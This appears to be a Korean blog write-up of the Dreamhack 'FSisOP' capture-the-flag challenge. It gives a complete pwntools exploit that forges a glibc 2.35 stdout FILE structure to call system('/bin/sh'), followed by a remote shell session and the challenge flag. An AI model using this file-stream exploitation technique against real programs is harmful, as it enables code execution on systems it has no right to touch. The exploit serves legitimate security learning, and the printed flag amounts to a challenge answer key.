Description

    해당 문제는 Dreamhack Invitational Quals 에 출제된 문제입니다.

    Why FS is OP? Isn’t that a dead technique?

    Reference

    https://github.com/nobodyisnobody/docs/tree/main/code.execution.on.last.libc/#3—the-fsop-way-targetting-stdout

    checksec

    ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/FSisOP/deploy$ checksec ./prob
    [*] '/home/ubuntu/Desktop/dreamhack-CTF/FSisOP/deploy/prob'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      PIE enabled

    Decompiled-src

    main

    int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
    {
      setvbuf(_bss_start, 0LL, 2, 0LL);
      printf("%p\n", _bss_start);
      read(0, _bss_start, 0xE0uLL);
      puts("modify finished!");
      _exit(0);
    }

    Analysis

    Solution

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64', os='linux')
    warnings.filterwarnings('ignore')
    
    p = remote("host3.dreamhack.games", 16245)
    #p = process("./prob")
    e = ELF('./prob', checksec=False)
    #libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6', checksec=False)  #local
    libc = ELF('./libc6_2.35-0ubuntu3_amd64.so', checksec=False)
    
    bss_start = p.recvline()
    bss_start = bss_start.split(b'\n')[0]
    bss_start = int(bss_start, 16)
    print(f"bss_start: {(hex(bss_start))}")
    libc_base = bss_start - libc.sym['_IO_2_1_stdout_']
    print(f"libc_base: {(hex(libc_base))}")
    
    # #https://github.com/nobodyisnobody/docs/tree/main/code.execution.on.last.libc/#3---the-fsop-way-targetting-stdout
    stdout_lock = libc_base + 0x21BA70#0x21ca70   # _IO_stdfile_1_lock  (symbol not exported)
    stdout = libc_base + libc.sym['_IO_2_1_stdout_']
    fake_vtable = libc_base + libc.sym['_IO_wfile_jumps']-0x18
    
    # our gadget
    gadget = libc_base + 0x163830#0x169820 # add rdi, 0x10 ; jmp rcx
    
    fake = FileStructure(0)
    fake.flags = 0x3b01010101010101
    fake._IO_read_end=libc_base+libc.sym['system']            # the function that we will call: system()
    fake._IO_save_base = gadget
    fake._IO_write_end=u64(b'/bin/sh\x00')  # will be at rdi+0x10
    fake._lock=stdout_lock
    fake._codecvt= stdout + 0xb8
    fake._wide_data = stdout+0x200          # _wide_data just need to points to empty zone
    fake.unknown2=p64(0)*2+p64(stdout+0x20)+p64(0)*3+p64(fake_vtable)
    
    p.sendline(bytes(fake))
    
    p.interactive()

    Result

    ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/FSisOP/deploy$ python3 solve.py 
    [+] Opening connection to host3.dreamhack.games on port 16245: Done
    bss_start: 0x7fd15ec62780
    libc_base: 0x7fd15ea48000
    [*] Switching to interactive mode
    $ ls
    flag
    prob
    $ cat flag
    DH{926abe3040ada2575ed629ad2ca7a0bd8cfbbc1616d562517134f03306086448}$ 
    [*] Interrupted
    [*] Closed connection to host3.dreamhack.games port 16245

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다